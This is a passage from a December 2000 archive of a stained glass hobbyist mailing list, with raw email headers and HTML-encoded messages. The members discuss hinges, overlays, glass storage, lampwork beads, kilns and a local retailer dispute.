> real problem when I get to a joint between 2 of the surrounding =
> pieces.&nbsp; I=20
> hope this makes sense.&nbsp; Thanks ahead of time,</STRONG></FONT></DIV>
> <DIV><FONT face=3DArial><STRONG>Robin</STRONG></FONT></DIV>
> <DIV><STRONG><FONT face=3DArial>&gt;^,,^&lt;&nbsp;&nbsp; =
> &gt;^,,^&lt;&nbsp;&nbsp;=20
> &gt;^,,^&lt;</FONT></STRONG></DIV></BODY></HTML>
>
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From owner-glass Fri Dec 15 23:06:46 2000
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: RE: box & hinge
Date: Wed, 13 Dec 2000 17:12:30 -0500
Message-ID: <1970Jan1.000.0>
References: <<4.3.2.7.2.20001212211517.00ad2b90@pop.together.net>>
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no, i said it right, it's just descibed differently. there's a 1/2" or so
overhang, tube is inside the box.


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

  -----Original Message-----
  From: Jennifer Buckner [mailto:jbuckner@together.net]
  Sent: Tuesday, December 12, 2000 9:19 PM
  To: glass@bungi.com
  Subject: box & hinge


  Mike Savad says: "the lid will have to have a design, since the tube
attaches to it. and the
  tube has to be parralel (i know it's spelled wrong, i just can't spell),
to
  the back of the box. (i've seen this done with the tube on the outside of
  the box, but with the lid in the same position."

  But the other Mike says: "The tube part of the hinge was soldered inside
the box =
  half an inch or more down from the edge at the back. The pivot wires =
  were bent almost at 90 degrees, so with the box shut they left the tube, =
  heading forwards, almost parallel to the base, then turned vertical up =
  to meet the box lid, where they were soldered to it."

  I don't think you've read the initial explanation, M. Savad.

  Jennifer






  Jennifer G. Buckner jbuckner@together.net
  ---- For subscription changes, please mail to: glass-request@bungi.com To
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<BODY>
<DIV><SPAN class=3D860351122-13122000><FONT face=3DArial color=3D#0000ff =
size=3D2>no, i=20
said it right, it's just descibed differently. there's a 1/2" or so =
overhang,=20
tube is inside the box.</FONT></SPAN></DIV>
<DIV><SPAN class=3D860351122-13122000><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D860351122-13122000><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D860351122-13122000><FONT face=3DArial color=3D#0000ff =

size=3D2>---Mike Savad</FONT></SPAN></DIV>
<DIV><SPAN class=3D860351122-13122000></SPAN>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<P><FONT size=3D2>---<BR>Mike's Stained Glass - <A target=3D_blank=20
href=3D"http://www.geocities.com/Paris/1141/">http://www.geocities.com/Pa=
ris/1141/</A><BR>Contains=20
a wealth of stained glass information, stained glass tips, stained glass =

instruction, and many, many stained glass links.<BR>---<BR>11-7-00 - New =
Stuff=20
Added: How to solder a nice bead, and several new projects. You can now =
search=20
my site with a built in engine.</FONT></P>
<BLOCKQUOTE=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> Jennifer Buckner=20
  [mailto:jbuckner@together.net]<BR><B>Sent:</B> Tuesday, December 12, =
2000 9:19=20
  PM<BR><B>To:</B> glass@bungi.com<BR><B>Subject:</B> box &amp;=20
  hinge<BR><BR></FONT></DIV>Mike Savad says: "<FONT size=3D3>the lid =
will have to=20
  have a design, since the tube attaches to it. and the <BR>tube has to =
be=20
  parralel (i know it's spelled wrong, i just can't spell), to <BR>the =
back of=20
  the box. (i've seen this done with the tube on the outside of <BR>the =
box, but=20
  with the lid in the same position."<BR><BR>But the other Mike says: =
"<B><U>The=20
  tube part of the hinge was soldered inside the box =3D <BR>half an =
inch or more=20
  down from the edge at the back.</U></B> The pivot wires =3D <BR>were =
bent almost=20
  at 90 degrees, so with the box shut they left the tube, =3D =
<BR>heading=20
  forwards, almost parallel to the base, then turned vertical up =3D =
<BR>to meet=20
  the box lid, where they were soldered to it."<BR><BR>I don't think =
you've read=20
  the initial explanation, M.=20
  Savad.<BR><BR>Jennifer<BR><BR>&nbsp;<BR><BR><BR></FONT><BR>
  <DIV>Jennifer G. Buckner jbuckner@together.net</DIV>---- For =
subscription=20
  changes, please mail to: glass-request@bungi.com To send to the list, =
please=20
  mail to: glass@bungi.com Archives available at=20
http://www.bungi.com/glass</BLOCKQUOTE></BODY></HTML>

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From owner-glass Fri Dec 15 23:11:51 2000
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	(Smail-3.2.0.94 1997-Apr-22 #527 built 2000-Nov-28)
X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: <PookyPook@aol.com>,
Content-Type: multipart/alternative;
Subject: RE: Overlays
Date: Wed, 13 Dec 2000 17:16:58 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
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make the cross, wash it and patina

make the rose, wash it and patina

with both washed and colored, and dried, attach the rose, and do a few touch
ups with the patina.


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

  -----Original Message-----
  From: PookyPook@aol.com [mailto:PookyPook@aol.com]
  Sent: Wednesday, December 13, 2000 10:16 AM
  To: glass@bungi.com
  Subject: Overlays


  Got another question.. I have made a cross out of bevels and want to
overlay
  a rose on the top. What is the best way to do this? I have done overlays
  before, but only on boxes where you are not laying the actual overlay on
top
  of the soldering.. except with butterflys that were 3-d on it.. I think I
  goofed. I made the overlay and am now trying to attach it, but having a
very
  hard time.. should I make it ON the cross instead of making it first and
then
  applying it??

  This group is great and I look forward to many, many kind helps!!!

  Ruth
  "If we quit voting will they all go away?"
  http://members.aol.com/RTSkeeter
  ICQ11716411



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<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D330001622-13122000><FONT face=3DArial color=3D#0000ff =
size=3D2>make=20
the cross, wash it and patina</FONT></SPAN></DIV>
<DIV><SPAN class=3D330001622-13122000><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D330001622-13122000><FONT face=3DArial color=3D#0000ff =
size=3D2>make=20
the rose, wash it and patina</FONT></SPAN></DIV>
<DIV><SPAN class=3D330001622-13122000><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D330001622-13122000><FONT face=3DArial color=3D#0000ff =
size=3D2>with=20
both washed and colored, and dried, attach the rose, and do a few touch =
ups with=20
the patina.</FONT></SPAN></DIV>
<DIV><SPAN class=3D330001622-13122000><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D330001622-13122000><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D330001622-13122000><FONT face=3DArial color=3D#0000ff =

size=3D2>---Mike Savad</FONT></SPAN></DIV>
<DIV><SPAN class=3D330001622-13122000></SPAN>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<P><FONT size=3D2>---<BR>Mike's Stained Glass - <A target=3D_blank=20
href=3D"http://www.geocities.com/Paris/1141/">http://www.geocities.com/Pa=
ris/1141/</A><BR>Contains=20
a wealth of stained glass information, stained glass tips, stained glass =

instruction, and many, many stained glass links.<BR>---<BR>11-7-00 - New =
Stuff=20
Added: How to solder a nice bead, and several new projects. You can now =
search=20
my site with a built in engine.</FONT></P>
<BLOCKQUOTE=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> PookyPook@aol.com=20
  [mailto:PookyPook@aol.com]<BR><B>Sent:</B> Wednesday, December 13, =
2000 10:16=20
  AM<BR><B>To:</B> glass@bungi.com<BR><B>Subject:</B>=20
  Overlays<BR><BR></FONT></DIV><FONT face=3Darial,helvetica><FONT =
size=3D3>Got=20
  another question.. I have made a cross out of bevels and want to =
overlay <BR>a=20
  rose on the top. What is the best way to do this? I have done overlays =

  <BR>before, but only on boxes where you are not laying the actual =
overlay on=20
  top <BR>of the soldering.. except with butterflys that were 3-d on =
it.. I=20
  think I <BR>goofed. I made the overlay and am now trying to attach it, =
but=20
  having a very <BR>hard time.. should I make it ON the cross instead of =
making=20
  it first and then <BR>applying it?? <BR><BR>This group is great and I =
look=20
  forward to many, many kind helps!!! <BR><BR></FONT><FONT lang=3D0 =
face=3DArial=20
  color=3D#000000 size=3D2 FAMILY=3D"SANSSERIF">Ruth <BR>"If we quit =
voting will they=20
  all go away?" <BR>http://members.aol.com/RTSkeeter <BR>ICQ11716411=20
<BR><BR></BLOCKQUOTE></FONT></FONT></BODY></HTML>

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From owner-glass Sat Dec 16 04:37:16 2000
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	(Smail-3.2.0.94 1997-Apr-22 #527 built 2000-Nov-28)
X-Path: twcny.rr.com!mschatee
From: "CP" <mschatee@twcny.rr.com>
To: "Mike Savad" <esavad@home.com>, <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: colors for seasons
Date: Sat, 16 Dec 2000 06:59:06 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

I would think that summer would be the colors of a beautiful sunset, pinks,
oranges, yellows and lavender.  Spring I imagined shades of green to
represent the new growth.

----- Original Message -----
From: "Mike Savad" <esavad@home.com>
To: <glass@bungi.com>
Sent: Thursday, December 07, 2000 5:18 PM
Subject: colors for seasons


> soon i hope to work on the next part of skycity, and though a small part,
i
> want the detail. i need to give all 4 seasons a color. i figure winter
would
> be a white/blue/gray combo. and fall would be a yellow/orange. i can't
think
> of the other colors... the glass would be art glass, and about 1" in
> diameter.
>
>
> ---Mike Savad
>
>
> ---
> Mike's Stained Glass - http://www.geocities.com/Paris/1141/
> Contains a wealth of stained glass information, stained glass tips,
stained
> glass instruction, and many, many stained glass links.
> ---
> 11-7-00 - New Stuff Added: How to solder a nice bead, and several new
> projects. You can now search my site with a built in engine.
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>

----
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From owner-glass Sat Dec 16 16:03:33 2000
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X-Path: pro-ns.net!jdahlin
From: "J. Dahlin" <jdahlin@pro-ns.net>
To: Bungi Glass Group <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: Glass storage
Date: Sat, 16 Dec 2000 17:57:28 -0600
Message-ID: <1970Jan1.000.0>
Precedence: bulk


Recently I purchased some kitchen cabinet bases for storing my stained
glass.  I would like some ideas as to what people use for building glass
storage dividers.  Each cabinet is 39" wide with two doors and two
drawers.  Any ideas would be appreciated.

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From owner-glass Sat Dec 16 17:29:18 2000
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X-Path: twcny.rr.com!mschatee
From: "CP" <mschatee@twcny.rr.com>
To: "J. Dahlin" <jdahlin@pro-ns.net>, "Bungi Glass Group" <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Glass storage
Date: Sat, 16 Dec 2000 19:58:02 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

I use old record album dividers and the plastic file folder holders.  You
can get them in the office supply section of any store like Walmart, etc.
You may also want to get those plastic lights that you stick in closets so
you can see well inside the cabinets.  For my smaller pieces of glass I
stocked up on clear plastic storage boxes (app. shoebox size) from the
Dollar Store.  I have a box for each color and just stack them nicely.


----- Original Message -----
From: "J. Dahlin" <jdahlin@pro-ns.net>
To: "Bungi Glass Group" <glass@bungi.com>
Sent: Saturday, December 16, 2000 6:57 PM
Subject: Glass storage


>
> Recently I purchased some kitchen cabinet bases for storing my stained
> glass.  I would like some ideas as to what people use for building glass
> storage dividers.  Each cabinet is 39" wide with two doors and two
> drawers.  Any ideas would be appreciated.
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

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From owner-glass Sat Dec 16 22:33:34 2000
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Please remove me from your mailing list.  Thanks.
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From owner-glass Sat Dec 16 23:16:48 2000
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From: "Brad Walker" <mbwalker@warmglass.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Fw: Crystal Seagull
Date: Sun, 17 Dec 2000 00:07:09 -0500
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The IGGA has received the following request for information about a =
piece of glass artwork. If you can help this lady, please email her at =
the address provided below.

Thanks.

__________________


I have a beautiful crystal seagull with a wing span of about 24 inch. =
The=20
piece has been damaged. I am trying to find a replacement, but I do not =
know=20
where the piece was purchased. It has a signature that is difficult to =
read.=20
It looks like"Jaueti,L". If you can supply me with information about the =

piece or artist, please contact me at=20
NBBijou@aol.com.=20

Thank you for your time.=20

Nancy=20

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address=20
provided below.</DIV>
<DIV>&nbsp;</DIV>
<DIV>Thanks.</DIV>
<DIV>&nbsp;</DIV>
<DIV>__________________</DIV></DIV>
<DIV><BR></DIV><FONT face=3Darial,helvetica><FONT size=3D2>I have a =
beautiful=20
crystal seagull with a wing span of about 24 inch. The <BR>piece has =
been=20
damaged. I am trying to find a replacement, but I do not know <BR>where =
the=20
piece was purchased. It has a signature that is difficult to read. =
<BR>It looks=20
like"Jaueti,L". If you can supply me with information about the =
<BR>piece or=20
artist, please contact me at <BR>NBBijou@aol.com. <BR><BR>Thank you for =
your=20
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From owner-glass Sun Dec 17 05:05:01 2000
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: "J. Dahlin" <jdahlin@pro-ns.net>,
Content-Type: text/plain;
Subject: RE: Glass storage
Date: Sat, 16 Dec 2000 19:35:30 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

i personally don't use anything. though removable plywood dividers, 3/8-1/2"
thick, could be used. i figure, make a 6-8" gap and fill half of the glass
in that. i've found that if you let the glass have too much space, it
becomes real difficult to look through the glass, unless i shove my arm into
the cabinet as a stop... not really a good thing to do btw.


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

> -----Original Message-----
> From: J. Dahlin [mailto:jdahlin@pro-ns.net]
> Sent: Saturday, December 16, 2000 6:57 PM
> To: Bungi Glass Group
> Subject: Glass storage
>
>
>
> Recently I purchased some kitchen cabinet bases for storing my stained
> glass.  I would like some ideas as to what people use for building glass
> storage dividers.  Each cabinet is 39" wide with two doors and two
> drawers.  Any ideas would be appreciated.
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>

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From owner-glass Mon Dec 18 17:47:08 2000
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From: Pamela Burns-Tappan <ptap@pacifier.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: Looking for artisticstainedglass
Date: Mon, 18 Dec 2000 16:30:44 -0800
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi all,

I have an inquiry about a company that operated under
artisticstainedglass.com but is no longer using that website domain.
They are located in Canada and reproduce Tiffany lamps. Anyone have any
idea's on their location or how to get ahold of them??

Thanks,

Pam

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From owner-glass Mon Dec 18 18:35:13 2000
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From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: glass@bungi.com
Content-Type: text/plain; charset=x-user-defined
Subject: medium warm/hot questions!
Date: Mon, 18 Dec 2000 20:02:38 -0600
Message-ID: <1970Jan1.000.0>
Organization: glassdancer
Precedence: bulk



I've started making beads!  FINALLY! :o)  It's way fun to melt glass.
Im doing ok.  hahahaha. 

Im working with a hot head.  So far the glass rods I have are just what
friends have given me...so I dont even know if they are compatible with
each other, but nothing has broken thus far.

Some thing Ive noticed though that's bothering me is some of the colors
are turning kind of grey/gray(sp?)  Can anyone tell me why?

I played on a friends torch (a real torch that gets real hot) and that
never happened on hers.  Is it my hot head, my glass?  Am I working the
glass too long?  

 Oh!  I also slumped a dish!!!!  :o)  Im really  trying not to think
about how cool that is...cause my boss clued me in  as to what to expect
for a Christmas Bonus...and it's not one! (but it'll buy a few rods) 

Anyone got a used kiln they wanna sell really cheap?  Oh..and do you
live in anywhere near Oklahoma?

Suzanne
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From owner-glass Mon Dec 18 18:38:52 2000
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From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: glass@bungi.com
Content-Type: text/plain; charset=x-user-defined
Subject: spoke too soon
Date: Mon, 18 Dec 2000 20:26:10 -0600
Message-ID: <1970Jan1.000.0>
Organization: glassdancer
Precedence: bulk

Darnit.  One of my sort of pretty beads has a crack right down the
middle. ;o)  Good example of impatience probably.

Looking at it closely...it's colors are real clear and pretty, but there
is a bit of some gray or gray.  

Im wondering if Im working in the wrong spot of the flame?
Not all my beads are doing that, and I think I pretty much work in the
same spot unless I get distracted. (the microwave burner is still here)

Also...does anyone know where I can find some good faq's re bead making?
or is there a lamp workers list anywhere?  I know Brad's website has a
BB, but that's mostly for fusing/slumping, right?

Ive read Cindy Jenkins books, but they are pretty basic.

Suzanne
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From owner-glass Mon Dec 18 20:34:31 2000
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X-Path: warmglass.com!mbwalker
From: "Brad Walker" <mbwalker@warmglass.com>
To: "Pamela Burns-Tappan" <ptap@pacifier.com>, <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Looking for artisticstainedglass
Date: Mon, 18 Dec 2000 23:18:06 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Pamela,

The people who own the artisticstainedglass.com domain (probably the people
you want) are:

Class Glass
7B - 30321 Fraser Hwy.
Abbotsford, BC V4X-1T3
CANADA

(PHONE) 604-856-4528 (FAX) 604-856-4528

Hope this helps.

Brad Walker
----------------------------------------------------------------------------
------
For information about warm glass techniques and processes
such as fusing, slumping, and kiln forming, please visit
the Warm Glass website at http://www.warmglass.com
----- Original Message -----
From: Pamela Burns-Tappan <ptap@pacifier.com>
To: <glass@bungi.com>
Sent: Monday, December 18, 2000 7:30 PM
Subject: Looking for artisticstainedglass


> Hi all,
>
> I have an inquiry about a company that operated under
> artisticstainedglass.com but is no longer using that website domain.
> They are located in Canada and reproduce Tiffany lamps. Anyone have any
> idea's on their location or how to get ahold of them??
>
> Thanks,
>
> Pam
>
> ----
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> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

----
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From owner-glass Tue Dec 19 06:05:48 2000
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X-Path: mindspring.com!pigznpawz
From: "Jerri" <pigznpawz@mindspring.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Retailer vs. Arts Center
Date: Tue, 19 Dec 2000 07:51:43 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi all,

    Here's the situation:

    I live near a small town where a SG retailer opened up a few years ago.
Up until recently, I'd always been a loyal customer, and even filled in in
the shop for the owners when they went out of town.

    About a year or so after the SG store opened, a local Arts Center opened
up in town.  I have also supported them, and participated in art shows
there.

    When the Arts Center opened, they had hoped to offer SG classes and
asked the retailer about teaching for them.  He and his wife refused, and he
got nasty with the Arts center about them having any kind of glass classes
there.  He refused to put up a poster in his shop when they had an art show,
but when he found out I was participating, he wanted me to put out flyers
for the class I was having at his shop.  (I didn't.)  I'd been by the store
when this was going on, and I can't remember what was said, but if I recall,
he was threatening to go to the city because he was a tax payer and they
weren't...................  At the time I thought he was really cutting off
his nose to spite his face because even if they didn't teach there, I would
think if the Arts Center had classes, it would send a lot of business his
way.  I talked to someone on the board of the Arts Center, and was told that
the Arts Center really wanted to keep things friendly, so they backed down.

    Earlier in the year, I taught a lampwork bead class for the retailer,
and I was suppose to teach another class for them in Sept., but they only
had one person sign up.  In Nov., I participated in an art show at the Arts
Center, and they asked me and a couple of other glass workers (one fuser,
one SG person) if we would do a little mini-workshop for them.  The
workshops are scheduled for Feb., and now the retailer is going to meet with
the Arts Center to try and stop the Arts Center, again, from having any kind
of glass classes.  If you want to get technical, I guess you could argue
that I work with Moretti glass, which the retailer doesn't carry, and the
woman who's teaching the jewerly fusing workshop uses a quickfire kiln,
which he doesn't carry either.

    I find the whole situation very sad, that the two can't coexist
peacefully.  Although, personally, I don't think a lot of the shop owner, I
do like his wife and I have really liked his shop.  We've been friendly
enough that I've had his daughter over several times to play with my
daughter.  They also are members in the same glass guild that I'm a member
of.  I have quit buying SG supplies from them because I found that another
retailer, who's also a member of the guild, and has a shop about 25 minutes
from me, has considerably lower prices on glass.  For example a sheet I
bought locally for $65 goes for $35 at the other shop.  Being a
hobbiest/mom, price *is* an issue with me.

    I would love to hear any comments.  I know there's some retailers on the
list, and perhaps some of you have been in similar situations.

Thanks,

Jerri
www.beadbimbo.com




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From owner-glass Tue Dec 19 06:37:42 2000
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X-Path: ll.mit.edu!cogen
From: David Cogen <cogen@ll.mit.edu>
To: glass@bungi.com
Subject: parallel mashers
Date: Tue, 19 Dec 2000 08:58:50 -0500 (EST)
Message-ID: <200012191358.IAA12470@poblano.llan.ll.mit.edu>
Precedence: bulk

Can anyone recommend a true parallel-action mashing plier? We have the
"clothspin masher" sold by Frantz and probably elsewhere which was
misleadingly advertised as parallel-action but it is not. I don't remember
Wale or Frantz having anything suitable. The plates must be at least 1.5x2
inches.

If nothing for glass work exists, I am considering having something fabricated
by welding plates onto an automotive parallel-action plier, but cannot even
find such a plier! These used to be common many years ago. I have checked
Sears and automotive stored but nothing has turned up. Any recommendations for
this, too?

Thanks for any leads.

--DavidC
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From owner-glass Tue Dec 19 10:07:09 2000
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From: "Jerri" <pigznpawz@mindspring.com>
To: <"shodge@gdi.net"@gdi.net>, <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Retailer vs. Arts Center
Date: Tue, 19 Dec 2000 11:50:49 -0500
Message-ID: <1970Jan1.000.0>
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Hi Skip,

    I'm not sure I understand all your questions, but I'll try to answer
them.

1&2) The shop is about 45-50 minutes from Atlanta, and there are several
other retailers in the Atlanta area, as well as other arts centers in
Atlanta that teach stained glass.  We are also near Athens, Ga., where I
know there's at least one SG shop and the university offers SG classes.

3) The local arts center doesn't retail sell anything.  They offer a few
classes, do a couple of shows a year, and hope to have a gift shop one day.

4)N/A

5&6)  I don't know for sure that the arts center doesn't pay taxes.  I think
it is  nonprofit though.  A group of people started it, and the city leases
them an old building for $1/yr.  This building was an old factory and a real
dump.  It's still a dump, but they have really cleaned it up, and I think,
made a bad part of town a little nicer.

The other shop I go to is in a different county, and he teaches, but didn't
seem to have a problem when a civic/arts center opened up near him and
offered SG classes too.   I guess I'm just surprised that a retailer thinks
he can control what the arts center does.  If he and his wife had taught for
the arts center, the center takes 20% of the class fee.  Doesn't seem like a
small loss when he could sell his glass, and get new customers.  I'm just
surprised that the two can't work together.  I really don't know what will
happen in the future as to whether or not the arts center will back down and
not have any glass classes or workshops.

Jerri







> Retailer here.
> I have a couple of questions for you before I render my accounts.
> 1. What part of the world do you live in?
> 2. Is there only the one retailer in your area?
> 3. Is the Arts Center selling to you a retail product or are they
>    simply acting as an agent for a wholesaler?
> 4. I usually buy from the place that offers support for items I
>    have purchased. Does the Arts Center offer support for purchases
>    (grinder, ring saws and the like)?
> 5. Why does the Arts Center not pay taxes (according to the grump)?
> 6. If the Arts Center doesn't pay taxes are they a not for proffit,
>    or a part of your local civic organiztion?
>
> Thanks
> Skip
> Southern Exposure Stained Glass Supply, Inc.
> Winter Garden, FL
>

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From owner-glass Tue Dec 19 10:44:59 2000
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From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: GlassLites@aol.com, glass@bungi.com
Content-Type: text/plain; charset=x-user-defined
Subject: Re: medium warm/hot questions!
Date: Tue, 19 Dec 2000 12:33:31 -0600
Message-ID: <1970Jan1.000.0>
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Organization: glassdancer
Precedence: bulk

Thanks Cheryl and Skip.
Im using mapp gas with the hot head.  It's all I can swing financially
right now.

Suzanne
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From owner-glass Tue Dec 19 20:33:40 2000
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From: "Michele S" <mrsdesigns@hotmail.com>
To: gunnx4@ix.netcom.com, glass@bungi.com
Content-Type: text/plain; format=flowed
Subject: Re: medium warm/hot questions!
Date: Tue, 19 Dec 2000 23:00:47 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi Suzanne~
For information regarding lampwork beads look at www.sgb.org  (society of 
glass beadmakers)  They are a well organized and tight group of people.  
There should be a way for you to find the information you are looking for, 
as well as meeting other beadmakers near you.  Beadmaking is another whole 
realm of addiction seperate from stained glass or kiln work...so watch out!! 
;)

Congratulations on your slumped bowl... I know how good that feels because 
the warm glass has my current addiction!

~Michele


----Original Message Follows----
From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: glass@bungi.com
Subject: medium warm/hot questions!
Date: Mon, 18 Dec 2000 20:02:38 -0600



I've started making beads!  FINALLY! :o)  It's way fun to melt glass.
Im doing ok.  hahahaha.

Im working with a hot head.  So far the glass rods I have are just what
friends have given me...so I dont even know if they are compatible with
each other, but nothing has broken thus far.

Some thing Ive noticed though that's bothering me is some of the colors
are turning kind of grey/gray(sp?)  Can anyone tell me why?

I played on a friends torch (a real torch that gets real hot) and that
never happened on hers.  Is it my hot head, my glass?  Am I working the
glass too long?

  Oh!  I also slumped a dish!!!!  :o)  Im really  trying not to think
about how cool that is...cause my boss clued me in  as to what to expect
for a Christmas Bonus...and it's not one! (but it'll buy a few rods)

Anyone got a used kiln they wanna sell really cheap?  Oh..and do you
live in anywhere near Oklahoma?

Suzanne
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From owner-glass Tue Dec 19 20:33:41 2000
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From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: Michele S <mrsdesigns@hotmail.com>
Content-Type: text/plain; charset=x-user-defined
Subject: Re: medium warm/hot questions!
Date: Tue, 19 Dec 2000 22:16:32 -0600
Message-ID: <1970Jan1.000.0>
References: <<F190okLQ8aZRhQdOgl400003d48@hotmail.com>>
Organization: glassdancer
Precedence: bulk

lol..thanks Michele.  It's margarita time. (well, if I didnt have a
fever or kids to put to bed it would be)

I've been as SGB's site most of the evening getting throughly depressed!
;o) 

I always hate being a newbie.  I really need a class.
Oh well...I didnt get a good solder bead on my third try either! ;o)

Ive also been at suppliers websites trying figure out what the
difference is between major, minor, mid-range etc....

Some progress to report!...I dont jump when I light my torch any more!
Send me pictures of what you've been doing Michele, I wanna see.

Suzanne

Michele S wrote:
> 
> Hi Suzanne~
> For information regarding lampwork beads look at www.sgb.org  (society of
> glass beadmakers)  They are a well organized and tight group of people.
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From owner-glass Thu Dec 21 08:32:55 2000
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From: himest@juno.com
To: glass@bungi.com
Content-Type: text/plain
Subject: Re: subscription request, please
Date: Thu, 21 Dec 2000 08:02:51 -0600
Message-ID: <1970Jan1.000.0>
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On Wed, 20 Dec 2000 21:13:30 PST gjr@bungi.com (Glenna Rand) writes:
> [In the message entitled "subscription request, please" on Dec 19, 
> 22:51, himest@juno.com writes:]
> 
> Hi
> 
> You are on the stained glass email mailing list.  There have been
> some technical changes.
> 
> As a reminder to all, the stained glass list is intended to be a 
> resource
> that people can use to discuss issues related to glass work.  It is 
> not for
> discussing the personal habits of people, or their probably 
> parentage.  We
> *do not* want to moderate this list.  We feel that people should 
> have the
> ability to express their ideas openly.
> 
> Please; this list goes to over 400 people, all around the world.  
> There
> *will* be differences of opinion.  If so, please take it offline.  
> To that
> end, I have made a technical change in how the list works.  Before, 
> replying
> would automatically send to the stained glass list.  Now, replying 
> will send
> the message back only to the originator.  If your reply is meant for 
> the
> list as well, you will need to change the To: address to 
> glass@bungi.com.
> 
> Hopefully, this minor change will both help avoid the recent 
> flame-fests,
> and help people stay in a positive frame of mind.
> 
> Let us know if you have any questions.
> 
> Dave & Glenna Rand
> 
> 
> -- 
> Glenna Rand
> gjr@bungi.com
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From owner-glass Thu Dec 21 08:51:52 2000
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X-Path: fastlane.NET!byronw
From: "Byron Wells" <byronw@fastlane.NET>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: kilns
Date: Wed, 20 Dec 2000 09:19:44 -0600
Message-ID: <1970Jan1.000.0>
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Hey all...

Now that I have my blasting box all fixed up I'm looking at kilns.
I've been looking at 24" Paragon,Evenheat  and Jen-Ken kilns with
digital/automatic controls. Prices are all fairly close to each other. Is
there one thats better than the others? How about long term? Does the
manufacture take care of business when you haved a problem?
I'm kinda leaning towards Paragon simply because they are made like 20
minutes from my place so shipping would be zero and if I had a problem they
are local.. Any comments or opinions would be appreciated...

Byron...
Wells Glassworks

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From owner-glass Thu Dec 21 11:47:23 2000
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From: "Byron Wells" <byronw@fastlane.NET>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: kilns
Date: Wed, 20 Dec 2000 09:19:44 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Hey all...

Now that I have my blasting box all fixed up I'm looking at kilns.
I've been looking at 24" Paragon,Evenheat  and Jen-Ken kilns with
digital/automatic controls. Prices are all fairly close to each other. Is
there one thats better than the others? How about long term? Does the
manufacture take care of business when you haved a problem?
I'm kinda leaning towards Paragon simply because they are made like 20
minutes from my place so shipping would be zero and if I had a problem they
are local.. Any comments or opinions would be appreciated...

Byron...
Wells Glassworks

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From owner-glass Thu Dec 21 11:47:58 2000
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X-Path: aol.com!Bobfuses
From: Bobfuses@aol.com
